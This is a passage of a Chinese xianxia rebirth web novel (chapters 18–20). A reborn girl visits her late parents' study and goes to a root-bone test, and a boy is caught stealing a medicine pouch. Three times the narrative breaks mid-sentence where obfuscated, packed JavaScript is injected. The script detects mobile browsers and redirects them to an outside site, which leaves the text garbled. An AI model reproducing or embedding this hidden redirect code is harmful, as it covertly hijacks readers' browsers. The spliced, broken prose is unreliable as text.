之后十进十出,每次进来都在上不见海面、下不见底的深海当中,她奋力地往上游,怎么也游不到海面上去,最后窒息着出了空间。 第十一次时,泛着清透湛蓝光芒的水面触手可及,脑袋钻出水面,映入眼帘的是连绵起伏的森林。 水生木。 水木空间。 而这空间已两年多没有发生变化,似乎这就是它最后的状态了。 在这两年多的时光里,她和白绒球又陆陆续续搬了亭子、木桌、摇椅、烤架和书柜进来,这里已然变成了他们俩的一个小天地。 相邻的亭柱中间挂了好几张不同年份绘制的九乌大陆舆图,钟离悠试图借此推算出梅岭漂浮到哪个区域的无人之地,目前尚且还没理出头绪来。 钟离悠躺在摇椅上,捞起一旁桌上的话本,搁在大腿上,也没看,视线放空中。 这个话本也是讲借尸还魂的,主人公死后化成朔鬼,知晓了未来之事,又莫名回到十几年前,借他人尸体还魂,就此开始大杀四方。 除了修炼相关书籍外,空间里其他的书全是讲重生、夺舍和借尸还魂的话本,都是钟离悠撒泼打滚求白绒球四处搜罗过来的。 她试图从这些话本中找到能用的经验,但越看心里越没底,反而越发焦灼起来。 想到这里,钟离悠又把话本扔回桌上,开始闭目养神,大不了到时候就学话本里的人,告诉祖母兄姊们,她做了个预知梦,稍微有些麻烦的是,上辈子她也有许多细节和小事记不住了,只依稀记得几件大事。 想着想着,钟离悠又睡了过去。 - 钟离悠再次醒来是被女使玉烛叫醒的。 玉烛将她从被窝里捞起来,钟离悠顺势靠在她的怀里,伸出手臂,由着她给自己套上衣服。 钟离悠在她肩膀处蹭了蹭,睁眼望向外面,正好看见丹雀端盆进来。 “闻姑呢?”钟离悠问道。 “正在和老太太说话呢。”玉烛给她系好衣带,答道。 闻姑,玉烛和丹雀都是她外祖母给她的人,从东隅过来的,上辈子也是如此。 上辈子她去东隅时,玉烛和丹雀自然也跟了去,东隅学院不允许带侍从,她们便待在东隅学院外的主城里。 后来她因“食用”妖昙雾被逐出东隅学院,在随她回丹阳的路上,在那场突来的追杀里,她眼睁睁看着她们身魂俱灭。 这辈子,她还是得去东隅,但这次,她自然不会再带上她们了。 至于闻姑,上辈子在她去东隅前就死了,被人算计而死。 闻姑和其他所有女使都不一样,她是她阿娘的奶妈,后来又来到丹阳照顾她。 她阿娘来丹阳时带了四个女使,摘阮、遏云、余音和琴杀,这四个人帮她阿娘打理她在丹阳的私人产业,其中包括钟离家在朝歌的两家拍卖分行,分别位于东西两城。 摘阮和余音主要负责两家拍卖行,没成想,却把她们的胃口养大起来了。 七八岁前,她体弱多病,闻姑的心思大半在她的身上,对于摘阮她们这些钟离家的旧人交上来的账本只是确定没出大差错即可,等她八九岁,身体逐渐好转,也开始知事后,闻姑便想着将她阿娘的产业逐渐交到她的手中,便开始大刀阔斧地查账。 摘阮和余音中饱私囊多年,再加上已视两家拍卖行为己物,自然不愿闻姑往深了查,闻姑本身还是个七阶道令的强者,摘阮便根据丹方,重金购买药材,制出名为风无息的杀人之药,此药杀人无声无息,也不会留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283209|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下任何踪迹。 摘阮每次都在账本盖上喷上一点,药液无声无息地进入闻姑体内,直至闻姑彻底衰竭而死。 没人怀疑闻姑是被人下了药,她当时想着闻姑怎么说也是七阶的道令,突然心力不支而死,她拜托祖母去查一查,也没查出任何踪迹。 后来,摘阮她们便把精心做好的假账交到她这里,她年纪小,没看出端倪,再加上那时她的大半心思都在她没五行七脉这件事上。 直到摘阮胆子大到用赝品换下顾客拍下来的正品,这事被发现后,拍卖分行口碑直跌,其他分行甚至主行都连带着受了影响。 那个期间,秋家的浮光拍卖行大肆抢走了她们家许多生意。 这个秋家,正是“天下若有财一石,钟离家占三斗,秋家占两斗”,这天下的拍卖行基本不是钟离家的,便是秋家的,两家当了死对头多年。 当时祖母带着她一起查了这件事情,终于将摘阮揪了出来,也终于得知闻姑不久之后,二姨母钟离澜也来了丹阳,还带着表哥和表妹。 姨母手把手教了她许多,没有额外安慰她,这让她觉得很舒服。 从那之后,她便没再大门不出、二门不迈,开始认真打理她阿娘留下的产业。 所以,今天出去除了测根骨外,她还想顺道看看她阿娘在朝歌的产业。 受限于年纪,有些事情她还不好做,好在,那些事情还要过几年才发生,她可以慢慢筹备。 洗漱完后,钟离悠便由玉烛牵着去祖母祖父那儿吃饭,刚一出门,就和闻姑撞上了。 平心而论,闻姑长得并不讨喜,尤其对小孩子而言,长得还略显刻薄与严厉。个子中等,颧骨高高耸起,还有同样在瘦削的脸上高隆起的鹰钩鼻。 但对钟离悠而言,在所有女长辈中,闻姑能排在第三。 闻姑伸手理了理钟离悠并没乱的头发,对玉烛丹雀说道,“你们带着小女郎去老夫人那里用早饭吧,我来收拾小女郎出门要用的东西。” 玉烛、丹雀点头应是。 钟离悠乖乖地跟着她们走了。 今天春帝日,恰好是梅家轮值,祖父梅烈和大伯梅长墨早早出门去了城防司,协助城内戒备,因此今天早晨饭桌上只有她和祖母。 钟离悠香甜地用了一碗八宝杂粮粥,五六个水煮虾肉馅的馉饳,还有软嫩的生菜鲜虾蛋饼。 几样香喷喷、热腾腾的食物下了肚,钟离悠便什么都能原谅了,便觉得天下和人生没什么大事了,焦虑也没有了,活着真好,重生真好,天道真是个大大的好人。 舒舒服服地吃饱后,钟离悠靠在自己专属高椅子上休息了一会儿,感觉没那么撑的时候,刚溜下椅子,想要去找哥姊玩,再一起出门。 然后她就被祖母叫住了,侯珍用帕子轻按嘴角,“你先跟祖母去一个地方。” 诶? 钟离悠带着疑惑跟着侯珍出了院子。 走了一会儿,钟离悠了然,确定她们前往的地方就是她父母的院子了。 洗墨小院。 侯珍推开院门,转头对燕姑玉烛说道,“你们几人就在外面等我们就是了。” 然后,牵着钟离悠走进了院子里。 长长游廊,碧水池塘,池塘上立着一红亭,亭边有一颗参天耸立的银杏树,钟离悠最喜欢这一棵将红亭和大半池塘罩于身下的银杏树,上辈子她还让人在这棵树下帮她建了一架秋千。 每当她有烦心事,她就跑来荡荡秋千。 再大些,她还是要在这棵树下架上秋千。 此时春日暖阳,灿烂明媚的阳光笼罩着大半个院子,侯珍牵着钟离悠走出廊道的阴影,走进庭院的阳光里,钟离悠微眯着眼,感受暖阳洒在脸上,活着真好, 侯珍带着钟离悠来到书房门前。 18. 钟离悠 侯珍推开书房,带着钟离悠走了进去, 阳光透过窗纸,在地上投下斑驳树影、窗影,屋内宁静雅致,洒扫干净,所见之处不染丝毫尘埃,似乎随时等着它们的主人回来。 侯珍牵着钟离悠往左边内室走,钟离悠一眼就看到了挂在墙壁最中间的那副活墨画像,画像的场景正是外面庭院里,金黄色的银杏叶簌簌落下,红亭里站着一男一女两个人。 两个人先对视了一眼,然后看向作画人的方向,浅浅一笑。 这是她的父母,梅长宁和钟离清。 他们留下的画像并不多,一共三幅。除了挂在墙上的这一幅,剩下的两幅,一幅是他们大婚时画的,一幅是他们前往死无葬身地时画的。 虽然这些活墨画像都能动,但到底是墨水画出来的,她还是很难根据这些画像拼凑出一个鲜活的父母模样。 侯珍带着钟离悠在书桌前停下,松开牵着钟离悠的手,静静地看了一会儿,然后在钟离悠身边蹲下,与她齐平,指着对面的画像说道,“磐磐,那是你的阿娘和阿爹。” “阿娘?阿爹?”钟离悠装作懵懂样。 侯珍点头,“对,你的阿娘阿爹。” “他们去哪里呢?”钟离悠配合地问道。 “他们去了很远很远的地方,没办法回来了。”侯珍摸摸她的脑袋,“他们会一直记得你,至于你,你可以记住他们,也可以不记住他们。” 钟离悠抬起手,摸着衣服里那块玉坠,没有说话。 侯珍:“你阿娘叫钟离清,清水的清,出生在东隅,你的外祖家就在东隅。” 钟离悠点头,“闻姑玉烛她们就是从东隅来的。” “等你再长大些,可以去东隅看看他们。”侯珍说回钟离清,用着回忆的口吻,“你阿娘是个金木双系的道修者,金克木,你阿娘在十岁前一直在与这两种元素相磨合,修炼等级不过是道者三阶。” “一直到13岁时,你阿娘才略平衡好这两种元素,修炼等级开始缓慢上涨,但始终比同龄人差上一大截,就在十五岁那年,你阿娘连升十三阶,直接成为一阶的大法师,后来17岁成为当时最年轻的法灵,就此成为这片大陆众多天才中最耀眼的一位。” “不过,别人可能记得你阿娘十五岁连升十三阶,也记得你阿娘十七岁便成为法灵,但未必真能体会她十五岁前所经历过的那些事情。”” 侯珍顿了一下,继续说道:“你阿爹叫梅长宁,长久的长,安宁的宁,你知道你阿爹是法修还是道修?” 钟离悠答道:“是道修,和阿娘不一样。” 侯珍看着她稚嫩的小脸,又问道,“你知道今天我们出门首先要做什么吗?” 钟离悠点头,“去四象殿测根骨。” “三十多年前,你阿爹像你一样大的时候,也在四象殿测过根骨,测出来的结果是法修。” “法修?”钟离悠配合地睁大眼睛,静静地听着祖母给她讲这个她已熟知的故事。 侯珍:“对,法修。但你阿爹不喜欢用法杖,更喜欢那些有形状的武器。当初刚测出来时,他年纪小,虽然闷闷不乐的,但好歹还是学了四五年的法阵。” “直到八岁那年,他和别人对决前,突然就扔了法杖,手持双刀就上了场。当时别人还以为我们梅家又出了一个道法双修的奇才,后来才知道是你阿爹想了笨办法,强行修了道修。” 因为钟离悠年纪还小,侯珍并没有详说是什么办法,“虽然没有魂核,虽然四象殿的人说你阿爹在法修一道上奇高,但你阿爹还是选择了自己想走的道。” 侯珍轻轻握住钟离悠小小的肩膀,“祖母也不知道你能听懂多少,无论是道修,还是法修,又或者什么都不是,都不影响我们是什么人。” 侯珍又摸了摸她的脑袋,“你是什么人,你自己说了才算。” “祖母……”钟离悠装成听不懂的样子往侯珍怀里缩,侯珍抱了她一会儿,然后放开,“给你阿娘阿爹磕个头,磕个头我们就出去了。” “好。” 钟离悠跪下,透进屋内的阳光正巧打在她的眼前,对面的画也染上淡淡橙金色,她认认真真地磕了三个头,上辈子祖母是否也跟她说了这些话,她已记不得了,但这辈子她会好好记住的。 侯珍带着钟离悠出了洗墨小院,燕姑迎了上来,“少夫人和小郎君小女郎都已收拾好,在厅前等着。” 侯珍点头,玉烛从她手里接过钟离悠。 “要抱吗?”玉烛问道。 钟离悠摇头。 一行人刚走出分叉路口,便听到极热情的一声呼喊,“磐磐!” 梅稚雪一边大喊着一边朝她们跑来,将后面正常走来的萧韵、梅疏晏和梅疏野三人远远甩在身后。 梅稚雪一把握住钟离悠的手,“你去哪儿呢?我等你好久!” 钟离悠朝着她甜甜一笑,梅稚雪瞬间喜欢得不行,捏了捏她的脸蛋,立刻忘了问题,就这样被钟离悠混了过去。 两行人融为一队,萧韵走在侯珍旁边,梅疏晏梅疏野两兄弟自然而然地跟在两个妹妹的身后,一起往正大门走去。 梅疏野抛着自己新得的储物戒,自他们十岁后,终于可以有自己的零用钱了,虽然不多,但也能买上几张灵兽画片了。 他侧头撺掇着梅疏晏,“等下豌豆去测根骨,我们先去买画片吧!” “不行!” 梅疏晏还没来得及摇头,前面的梅稚雪已转头拒绝,“我们要都先去四象殿,等磐磐测完后,我们再一起去炼药集会看他们炼药,再去嘘声巷吃东西!” 梅疏野撇撇嘴,不大乐意,但到底没说什么。 出了梅府,侯珍和萧韵一辆马车,四个小家伙一辆马车。 闻姑驾着马车,玉烛坐在她旁边,钟离悠将丹雀留在了府内。 马车内,钟离悠和梅稚雪坐在一边,两个脑袋凑在窗边,一人贡献出一只手,撑着车窗窗帘,向外看着。 这里是曲平坊,住在这里的人基本上都是官眷人家,少有人走动,因而坊内较为安静。 梅稚雪陪着钟离悠看了一会儿,大概介绍了一路过来的房子都住了哪些人,后来没什么要说的了,便转过了身,将自己的本命灵兽雪团从元素星海中放了出来。 这是钟离悠重生以来第一次出门,此时正新鲜着,即使看着大差不差的房屋,也看得津津有味的。 梅疏野正翘着二郎腿,往嘴里扔点心,抛一个,用嘴巴接住,又抛一个,刚被放出来的雪团以迅雷不及掩耳之势咬走点心。 白张了嘴巴的梅疏野伸出手,一记爆栗砸在它的白呼呼的脑袋上,又捏住它的嘴筒子晃了晃,“你倒是把你灵兽的本事都用来跟人抢东西吃了。” 梅稚雪拍掉他的手,“一块点心,你就让它吃嘛!” 雪团的嘴巴重回自由,讨好地蹭了蹭梅稚雪的手,毛绒绒的大尾巴卷起桌上的点心,脑袋又去蹭钟离悠的后腰,钟离悠下意识挺直腰背,低头一看,一块淡粉色玫瑰团被白色大尾巴递在她面前。 虽然钟离悠现在还是饱的,但她还是接了过来,雪团高兴地蹭着她的后腰。 “看见没有!”梅稚雪叉腰,“你要是对它好,它就会主动给你!” 梅疏野:“……” 饶是车厢内闹了两三轮了,梅疏晏始终低头看着书,研究着法阵,他现在已是法者七阶,可以接触一些较为复杂的法阵了。 另外两个要比他低一些,梅疏野目前是道者五阶,梅稚雪是道者三阶,属于正常水平。 车厢外的声音渐渐噪杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283210|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,梅疏野也凑到窗边来,马车已驶出曲平坊,踏上拱桥,这时已能一窥拱桥对面热闹的景象,房屋鳞次栉比,高楼林立,浅灰色的飞檐层层叠叠。 马车下了拱桥,视线豁然开朗起来,马车缓慢融入到玄武大道的车流当中。 能够同时容纳二十多里辆马车并行的大道上,此刻喧闹噪杂,人头攒动。佩剑的道修者、持双锤的高大猛士、裹着灰旧袍子的人、奇形怪状的兽人也混杂其中,拉货的商人,穿青袍的炼药师……各式各样的人汇聚在街上涌动着,朝着不同方向蔓延开来。 沿街的铺子楼宇都挂上了青色或绿色的幡子,整条大道远远望过去如同一条静止的青绿巨龙,钟离悠趴在窗边,饶有趣味地看着每家铺子的牌匾,一一和记忆里的店铺挂上钩。 梅稚雪见她对这些铺子感兴趣,说道,“等会儿你测完根骨后,带你去西城那边的嘘声巷,那里更好玩。” 钟离悠刚侧过脑袋准备应好,一团火一样的东西在她眼前一闪而过,她望过去,原是一只火焰鸟,直直装在对面二楼的墙上,坚实的墙撞出了一个焦灰色的大洞,钟离悠感同身受地捂住自己的脑袋,而火焰鸟则化成一团灰烬落了下来。 这点动静立刻引起了不小的骚动,火焰鸟外泄出来的火系元素烫到了墙下等待着的商队,准确来说,是烫到了拉货的领头白虎,它身后的其他白虎也跟着乱动了起来,手持法杖的带头人立刻安抚着领头虎。 这支商队的货车都严严实实盖着黑布,这是运灵兽才会有的待遇,待他们的马车再走近一些后,钟离悠看清了他们披风领口处的金色叶子的配饰,是秋家拍卖行的商队。 又一个不知从哪儿钻出来的身材矮小的瘸腿妇人,深一脚浅一脚地走向商队,先向商队领头人道了歉,商队领头人摆摆手,妇人便转过身,蹲下来,将地上的灰烬捧回到盒子里,新的火焰鸟幼崽会从灰烬里诞生。 钟离悠倒是想起一件事来,她在梦里附身梅应怜时所看到的一件事情,大约在4年后发生。 秋家的拍卖行叫浮光行,和钟离家的青琅阁同样遍布中州各地,但两家经营方式略有不通,钟离家的分行负责人直接由总行排派人,分行完全听令于总行,而秋家则会找当地的世家大族合作开分行,利润对半分成。 而秋家在朝歌城找的合作者就是司家,司家算是朝歌城内除开王室外的第一富了,主产业是药材和斗兽场。 司家现任家主膝下有一子一女,长子司嘉檀幼年无意受朔鬼侵邪,导致五行七脉淤堵且双腿软弱无力。 借尸还魂过来的梅应怜施展了一手奇妙的金针之术,花了三个月的时间替他疏通了五行七脉,而这个梅应怜也因此从司家手里拿到了大批药材和药材种子,也就此踏上炼药师之路。 现在回想,上辈子浮光行拿出的那些神秘炼药师制作的灵药也是出自她的手里吧。 钟离悠的脑海里突然出现了一个坏念头,关于司嘉檀的腿,她有比用金针梳通更一劳永逸的方法,那就是丹方,上辈子她可搜罗来太多有关五行七脉的丹方了,而且每一份她都细细研究过。 钟离悠有些蠢蠢欲动,她想知道,如果她在梅应怜出手之前,将丹方给司家,梅应怜还能和司家搭上线吗?白绒球能容忍她这么做吗? 虽然她现在和白绒球相处不错,但那也是建立于她现在还是一个五岁稚儿的基础上,她想知道,这只一直吃吃吃的白绒球的底线到底在哪儿。 不过,这事也不太好做,梅家和司家关系不怎么好,在梅应怜的视角里,司老头子知道她是梅家旁支的人很是生气,还是在司嘉檀的强硬要求下,梅应怜给他施了针。 当然喽,等梅应怜将他宝贝孙子治好后,瞬间又是另一幅嘴脸了,禁不住地夸,还顺带明贬了他们兄姊四人。 19. 梅应微 大道的尽头是四象广场。 广场中心是五座恨不得高耸入云的雕塑,格局呈众星拱月,最中间的是丹阳初代诸侯王,左前是梅家老祖,左后是石家老祖,右前为司家老祖,右后为明家老祖。 阳光很是刺眼,钟离悠眯着眼努力去看梅家老祖的眉心,这时,一只手遮住了她的眼睛,钟离悠费劲扒拉开,是梅疏野,他笑着道,“再看就要瞎了。” 他拿起她的两只小手,摆成双手合十的手势,“你现在要做的不是去好奇老祖的样子,而是求老祖庇护你也是个道法双修的人才。” 钟离悠从他手中挣脱出来,扬脸问他,“那要是我两个都不是呢?” 梅疏野哈哈大笑,掐她的脸,“傻瓜,怎么会有人什么都不是。” 钟离悠心里哼哼,等下你就知道到底谁是傻瓜了。 马车在城防司的人指挥下,走进防线,缓缓朝四象正殿驶去。 这时,巨大的影子投了下来,天色霎时暗了下来。 “是药炉船!” “药炉船来了!” 马车外响起小孩兴奋的叫声。 钟离悠、梅稚雪和梅疏野三人立马探出脑袋,梅疏晏愣了一下,也扔了书,朝窗外看去。 一艘巨型的药炉形状的船悬浮在高空之上,缓慢前进着,药炉盖里不断飞出精致小巧的药囊,浅绿、深绿、淡青……各种与绿色沾边的颜色药囊铺天盖地地落了下来。 药囊自己飞落到人的手中,钟离悠拿到了三个,梅稚雪和梅疏晏拿到了两个,梅疏野自己一个人捧了满怀。 钟离悠一一扯开手中的药囊,瞬间有些气馁难言了,三个竟然都是最常见最没意思的醒脑丸,这手气……她扔一颗在嘴巴里,一阵强劲的冰凉气息在她的嘴巴炸开,迅速蔓延至大脑,整个人不能再清醒了。 她又去看旁边两人,梅稚雪开出了两颗下品三阶的固灵丹,直接喂给了雪团,梅疏晏则是一颗醒脑丸,一颗下品一阶的固灵丸,手气和她差不多。 “看看我抽到了什么?”梅疏野举起手中的粉色药丸,得意道:“变形丸!全是变形丸!” 他将其他药囊放桌上,车厢三人都不约而同去翻,竟然真的都是变形丸,钟离悠羡慕地看了一眼梅疏野,手气真是好。 虽然这些都是一些低阶的变形丸,但对追求新奇有趣的小孩而言,这可比什么高几阶的固灵丸好上数百倍。 “看我看我!” 梅疏野兴奋地挥着手,待确定所有人的视线都集中在他的身上后,吞下药丸,面部一阵发热,梅疏野眼睛往下看着,看到自己的鼻尖变成了尖尖的小黑鼻,胡须逐渐长长。 “我变成什么呢?”梅疏野兴奋地问道。 梅疏晏避开他询问的眼睛,梅稚雪憋着笑,钟离悠眨眨眼,好心道:“二哥,你变成一只小老鼠啦,眼睛小了至少三圈。” “啊啊啊啊啊——粉色的药丸怎么会是老鼠!!!”梅疏野崩溃了,怎么偏偏是他最害怕的动物! 梅稚雪笑够了,也拿起一颗白色变形丸,刚一吞下,便发出一声兽吼。 “阿姐,你是豹子!” 马车里不断传出各种兽类的叫声,直到抵达四象殿阶梯前。 梅疏野先跳下马车,再是没抢过他的梅稚雪,两人因争最后一颗变形丸又闹腾起来了,然后是梅疏晏,最后是由他抱着下了马车的钟离悠。 “你看,是王家的人。”梅疏野用手肘触了触梅疏晏,眼神瞟向对面。 梅疏晏看过去,刚在地上站稳的钟离悠也顺着他们的方向看过去,殿前的广场挤满了马车,她越过中间隔着的三四辆马车看到了王宣,视线再下移,看到了她在丹阳最讨厌的人王晋轩。 这个王家正是接替他们梅家去了死无葬生地的那个王家,如今的守边之主正是王晋轩的父亲,在王锦轩的眼里,他的父亲是给她钟离悠的父母收拾烂摊子去的。 或许正是这个原因,再加上她没有五行七脉,王晋轩每每见到她都是百般嘲讽,厌恶至极。 按照民间说法,丹阳有立国四大家,梅家、司家、明家和石家,而王家就是新起的第五家。 王晋轩的小姑姑正是如今备受国君宠爱的王夫人,王夫人的膝下育有一子一女,他的二叔掌王宫禁卫,但他家现在来头最大的是王晋轩的母亲,药宗乐家的一个大分支的族长的嫡次女。 修炼者,第一不能得罪炼药师,第二不能得罪御兽师,第三不能得罪炼器师。 药宗乐家在炼药一道上可谓是一家独大,有天赋者层出不穷,当然了,别人不知道,钟离悠还是知道的,后面梅应怜横空出世,炼药天赋将乐家的一众天之骄子打击得体无完肤,犹如尘土。 比起丹阳所谓的四大家或五大家,药宗乐家,御兽世家里的九方家、燕家和邬家,锻造世家闻人家,炼器世家万俟家,再勉强加上基本垄断了拍卖行、以财闻名的钟离家和秋家,这些才是真正的中州大世家。 不提其他关系与身份,王晋轩仅凭着他母亲的身份,凭着药宗乐家分支外孙的身份,便能在丹阳肆意嚣张地活着了,况且他本身还是水木双系法师,天生亲和治愈法阵,在炼药一道上颇有天赋。 因此上辈子,即使王晋轩多次羞辱她,王家人也没有任何表示,直到王晋轩用水系法阵戏弄她,害她冬日受冷生了一场大病,王家这才登门致歉,推脱为孩子口角是非。 借着这场病,她也顺理成章地没有再去丹阳国学院了。 王晋轩感受到他们的视线,抬头看了过来,看到梅疏晏和梅疏野时,眉心一沉,视线挪回到钟离悠身上,似是猜出她的身份,面上露出明显的不喜。 上辈子这个时候她正病着,没有来,原来这个时候他就这么讨厌她了,啧。 梅稚雪侧过身,挡住王晋轩投来的视线,低头向钟离悠嘱咐道:“以后你去了国学院后不必理会他,离他远一点。” 钟离悠点点头,转头看向其他地方,这一看倒是看到了许多熟悉的人,明家那对喜欢冷着脸的小姐妹,石家那个小胖墩。 玉烛取来了行数牌,测根骨共分为“甲”“乙”“丙”“丁”四个长队,钟离悠在“丙”长队里,每个测根骨的孩童可由两个家里人陪同,登长阶,进入殿内。 侯珍自然是要去的,剩下一个名额由梅稚雪抢了去。 队伍里只允许测根骨的孩童进入,陪同之人站在长线之外,钟离悠朝队伍里走去,站定后转身朝留在原地的大伯母、两个哥哥挥了挥手。 他们也朝她挥手。 “梅家老祖在上,一定要是道修啊!”梅疏野双手合十叨叨着。 梅疏晏看他一眼,“你多求老祖保佑你自己对修炼的事情多上点心吧。” 钟离悠握着行数牌,随着前面长队的移动,踏上台阶。 “有偷药的——” 远处传来一声吼声,队伍尾巴的人都朝西边看过去,钟离悠也不例外,西侧小广场接近大道那一段围着许多人,瞧着热闹的很。 偷药? 钟离悠想起之前听到的吼声,看来是偷药被现场逮住了? 钟离悠不甚在意地收回视线,虽然重来一世,虽然她已知道结果,但心里还是有些许的紧张。 不过,她若知道偷药的人叫梅应微的话,一定二话不说,转身就离开队伍,混在人群中,睁大眼睛了看。 人群半包围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283211|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈里。 梅应微捂着胸口,狼狈地从地上半支起身来,失策了,他没想到对方明明跟他差不多大,实力竟然至少有道者七阶了。 他咳嗽三两声,咳出一口逆脉淤血,偏头狠狠盯着不远处站着的人。 那人比他略高一些,全身裹着粗布麻衣,脑袋被尖头帽兜兜得严严实实的,蒙住了半张脸,只露出一双黑白分明的眼睛,黑深深的,看不出什么情绪。 梅应微是通过那双露出衣袖的手猜测他的年龄的,那双手虽布满茧,但到底稚嫩,不是一双大人的手。 那人走近一步,同样没什么情绪的声音响起,“你为何要偷我的药囊?” 为什么? 还能为什么? 梅应微撑地的五指尽陷进泥沙地里,他迎着周围人异样的眼神,对上那双平静无波的眼睛,吼道,“当然是为了卖钱啊!” “你不要再和他说这么多了,直接把他交给城防司的人吧。” 一个高大健硕的剑客上前一步,对着被偷药的人说道,先前就是她仗义出声,吼出那句“偷药了”。 “今天还是春帝节,干出这种事情也不嫌晦气。”女人双手抱胸,大声说道。 梅应微涨红了脸,发泄道:“你知道什么?!我凌晨就在炼药师组织会那里等着,一路跟着药炉船,从西城跑到东城!” “开了那么多那么多药囊,全都是一些没用的丹药!连一个下品五阶以上的丹药都没开出来!” “而他!”梅应微用力指着对面戴兜帽的人,“一个人!什么也没有做!仅仅只是站在那儿,两个中品级别的药囊就自己飞到他那儿去了!他只是轻轻接过……” 装着中品级别药丸的药囊,在碰到人的瞬间,会发出淡淡的金色光芒。 为了那点淡淡的金色光芒,他一夜没睡,从凌晨追逐到现在,横跨了大半个城池。 梅应微看得清清楚楚的,当时药炉船来的时候,那个人头也没抬,甚至直接走开了,但那两个药囊还是飞向了他。 一股怒气冲上心头,愤怒不满之意瞬间充斥着整个胸腔,凭什么?凭什么从小到大他想要的东西,别人都能轻而易举地拿到,而他苦苦追求却还不得。 他要拿过来!他要拿过来!那是他的! 戴着兜帽的人又靠近了一步,“你卖了药换钱之后要做什么?” 梅应微很想回他一句“管你什么事”,但他却又隐隐约约意识到了什么,还来不及细细分析,他老实答道,“我妹妹天生肺疾,要治好的话差一味很贵重的药材……” 他说到一半,兜帽人扔给他一个东西,梅应微低头一看,竟然是那只药囊。 他不可置信地道,“你……你给我了吗?” 兜帽人点了一下头,“你拿去换钱,给你妹妹治病吧。” 梅应微愣愣地看着他。 兜帽人又扔了一个药囊给那位剑士,“您是个好人,这里面装着一颗下品六阶的丹药,不知您能陪他去把丹药换成钱吗?” 剑士也一怔,转头看了一眼梅应微,抛了抛手中的药囊,接住塞到腰间,“也行,那就走一趟吧。” 兜帽人说完径直转身离开。 梅应微叫住他,“你……真的不要了吗?” 兜帽人嗯了一声,“我用不上了。” 似是想到什么,他又顿下脚步,回首道,“既然你还有妹妹,行事前就更该多思索几分,言尽于此,祝好。” 梅应微手里紧握着药囊,愣怔地站在原地,望着他的背影逐渐远去,“他突然想起什么,大喊道,“喂!你叫什么名字啊?!我以后会报答你的!” 那人置若罔闻,只是往前走着。 20. 李泛玉 剑士走到梅应微身侧,手拍在他的肩膀上,“好了,你看他裹成那个样子,怎么会告诉你他是什么人呢?” “小子,走吧,今天托你的福,我也小赚一笔钱。” 梅应微肩膀用力一动,拱开剑士搭在他肩膀上的手。 “如果你早与我签订契约,今日就不必如此狼狈,也不必需要旁人施舍。”一个嘶哑虚弱的声音在梅应微的脑海里响起。 梅应微肩膀紧绷着。 一个月前,他的意识里突然出现这道声音,它自称是上古神兽,名为赤天凤凰,被他的血脉唤醒,因□□湮灭,魂体虚弱到无法凝结实体,所以现在被迫寄居于他的元素星海中。 它说它能帮助他变得更强大,交换的条件则是跟它立下魂契,以此就能够借用他的元素之力修补它的魂体。 从此,他们便是一荣俱荣、一损俱损的关系。 但梅应微始终没有松开,原因很简单,他从没有听过“魂契”这种契约,他知道本命契约和临时契约,他不确定魂契到底会不会对他有什么不利之处。 他也去梅族学堂的敛书阁翻了相关书籍,想试图找出与魂契相关的记载,自然也没找出结果,凭他现在的修为,只能看三楼以下的基础书籍。 不用想也知道,这些基础书籍自然是不可能涉及到像“魂契”这样的上古契约。 周围看热闹的人逐渐散去,刚刚的所经历的一切似乎都已过去,梅应微攥紧拳头,他再也不会冲动了,再也不允许自己经历刚才的事情了。 梅应微抿紧唇,下了决心,在意识里回应着那道声音,“结契吧,我答应你了,你帮我变得强大,我助你修补魂体。” “你不会后悔的。”那道声音说。 起风了。 梅应微身后的泥土地尘沙扬起,两边建筑物悬挂着的青绿彩幡随风飘动着。 站在长阶当中的钟离悠迎着风,扬起脑袋,不知道哪儿的青色长幡被风吹到了四象殿飞宇上。 钟离悠也跟着收回视线,看向近在咫尺的殿门,深呼一口气。 青色长幡只在飞宇上短暂停留了一瞬,倏尔又被风带走,推向远方,越过半个东城,来到护城河的下游,三教九流之地,贫民窟。 青色长幡落在一颗枯树上,这颗不再被春天眷顾的枯树终于也有了几分春色。 “明奴?” “明奴?是你回来了吗?” 生斑的光秃土墙屋里,一道如枯树般枯萎的虚弱声音从床帐后响起。 洛娘费力地支起身,用力揪住床帐,往声响处一看,原来是风吹得门窗吱呀作响,她重新躺下去,小口小口喘着气。 那张脸虽虚弱惨白,却丝毫不减其貌美灵动。 门处又传来轻微咯吱响声,洛娘又立刻睁开眼,脸偏着,唤道,“明奴?明奴是你回来了吗?” 李泛玉轻嗯了一声,将药包搁在桌上,扯下兜帽,往屋内走,轻声道,“阿娘,是我把你吵醒了吗?” “没有,是我听见风吹到窗户的声音。” 